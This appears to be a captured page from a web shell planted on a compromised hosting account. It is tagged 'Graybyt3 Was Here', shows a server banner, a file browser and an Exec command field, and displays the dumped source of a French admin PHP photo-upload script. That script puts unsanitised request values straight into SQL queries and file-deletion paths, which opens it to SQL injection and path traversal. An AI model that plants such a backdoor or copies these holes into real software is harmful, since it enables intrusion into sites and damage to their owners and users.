Graybyt3 Was Here
Linux webm047.cluster003.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
Apache
10.3.20.39
/
home
/
asmplong
/
www
[ HOME ]
Exec
Submit
upload_actu_members.php.tar
home/asmplong/www/admin/upload_actu_members.php 0000666 00000012570 15017044541 0015765 0 ustar 00 <?php session_start(); if(!isset($_SESSION['member_id'])) { header('location:../login.php'); } include('inc.conec.php'); include('inc.fonctions.php'); include('inc.config.php'); ?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <meta name="robots" content="all" /> <meta http-equiv="content-language" content="fr" /> <script type="text/javascript" language="javascript" src="js/jquery.js"></script> <script language="javascript" type="text/javascript"> $(document).ready(function(){ <!-- Fermeture fenetre true et false --> $(".false span").click(function(){ $(".false").hide(); }); $(".true span").click(function(){ $(".true").hide(); }); }); </script> </head> <style type="text/css"> body { margin:10px; font-family:Arial, Helvetica, sans-serif; font-size:12px; } h2 { color:#3a6277; margin:0px 0 10px 0; font-size:14px; font-family:Arial, Helvetica, sans-serif; } a { color:#17648b; } a:hover { text-decoration:none; } .false { color:#7f0a0a; width:430px; margin-bottom:10px; padding:10px 5px 10px 42px; border:1px solid #FD5B5B; border-bottom:2Px solid #d60909; background:url('img/puce_false.jpg') no-repeat left #FFD8D8; } .true { color:#0a7f28; margin-bottom:10px; padding:10px 5px 10px 42px; border:1px solid #3FE73F; border-bottom:2Px solid #18c318; background:url('img/puce_true.jpg') no-repeat left #BDFEBD; } .close { border:0; position:relative; right:-4px; top:-9px; float:right; cursor:pointer; } #info { background-color:#ebebeb; color:#17648b; padding:3px 6px; margin:0 0 10px 0; margin-top:10px !important; float:left; font-weight:bold; display:block; width:467px; } </style> <body> <h2>Ajouter des photos pour cette actualité :</h2> <?php //message d'enregistrement reussi if(isset($_GET['rec'])) { echo '<div class="true"><span><img src="img/close.gif" class="close" alt="Fermer" /></span> L\'actualité a bien été enregistrée.</div>'; } // Récupération de l'identifiant if(isset($_GET['id'])) { $id = $_GET['id']; } else { $id = $_POST['id']; } // Mise en vignette d'une photo if(isset($_GET['vignette'])) { $photo = $_GET['vignette']; $req_vignette = mysqli_query($connect,"UPDATE ".$db_prefixe."actu SET photo='$photo' WHERE id='$id'"); } // vérification vignette $verif_vignette = mysqli_query($connect,"SELECT photo FROM ".$db_prefixe."actu WHERE id='$id'"); $data_vignette = mysqli_fetch_array($verif_vignette); $vignette_actu = $data_vignette['photo']; // Suppression d'une photo if(isset($_GET['del_photo'])) { $photo = $_GET['del_photo']; unlink('../img/'.$id.'/'.$photo.''); unlink('../img/'.$id.'/mini/'.$photo.''); // suppression de la vignette en BDD si c'est cette photo if($vignette_actu == $photo) { mysqli_query($connect,"UPDATE ".$db_prefixe."actu SET photo='' WHERE id='$id'"); } } // vérification vignette (bis) $verif_vignette = mysqli_query($connect,"SELECT photo FROM ".$db_prefixe."actu WHERE id='$id'"); $data_vignette = mysqli_fetch_array($verif_vignette); $vignette_actu = @$data_vignette['photo']; // Upload d'une photo if(isset($_POST['go_upload_x'])) { $post = 'fichier'; $dir = '../img/'.$id.''; $dir_mini = '../img/'.$id.'/mini/'; $largeur = '1170'; $hauteur = '600'; $largeur_m = '585'; $hauteur_m = '300'; $envoi = EnvoiImage($post,$dir,$dir_mini,$largeur,$hauteur,$largeur_m,$hauteur_m); echo $envoi; } ?> <?php $nb_photos = CountFiles('../img/'.$id.'/mini/'); if($nb_photos < 6) { ?> <form action="upload_actu.php" method="post" enctype="multipart/form-data"> <input type="hidden" name="id" value="<?php echo $id; ?>" /> <input type="file" name="fichier" /> <input type="image" src="img/bt-envoyer.gif" name="go_upload" style="margin:0 0 -7px 10px;" /> ( 6 photos maximum ) </form> <?php } ?> <?php $rep = opendir('../img/'.$id); while ($fichier = readdir ($rep)) { if ($fichier != '.' && $fichier != '..' && $fichier != 'mini' && $fichier != 'Thumbs.db') { // on stocke le nom des photos dans un tableau $tab_photos[] = $fichier; } } closedir ($rep); $nb_photos = @count($tab_photos); $nbcol=3; if ($nb_photos != 0) { if($vignette_actu == '') { echo '<span id="info">Cliquez sur une vignette pour l\'utiliser comme photo principale</span>'; } echo '<table style="border-collapse:collapse; margin-top:10px; float:left;">'; for ($i=0; $i<$nb_photos; $i++) { if($i%$nbcol==0) { echo '<tr>'; } echo '<td style="text-align:center; padding:0 7px 7px 0;"> <a href="upload_actu.php?id='.$id.'&vignette='.$tab_photos[$i].'"><img src="../img/'.$id.'/mini/'.$tab_photos[$i].'" style="margin-bottom:5px; '; if($vignette_actu == $tab_photos[$i]) { echo 'border:3px solid #FF0000;'; } else { echo 'border:3px solid #3a6277;'; } echo'" /></a><br/> <a href="upload_actu.php?id='.$id.'&del_photo='.$tab_photos[$i].'" style="background:url(\'img/del.gif\') no-repeat left center; padding-left:20px;">Supprimer</a> </td>'; if($i%$nbcol==($nbcol-1) or $i==($nb_photos-1)) { echo '</tr>'; } } echo '</table>'; } else { echo '<span id="info">Aucune photo disponible pour le moment</span>'; } ?> </body> </html>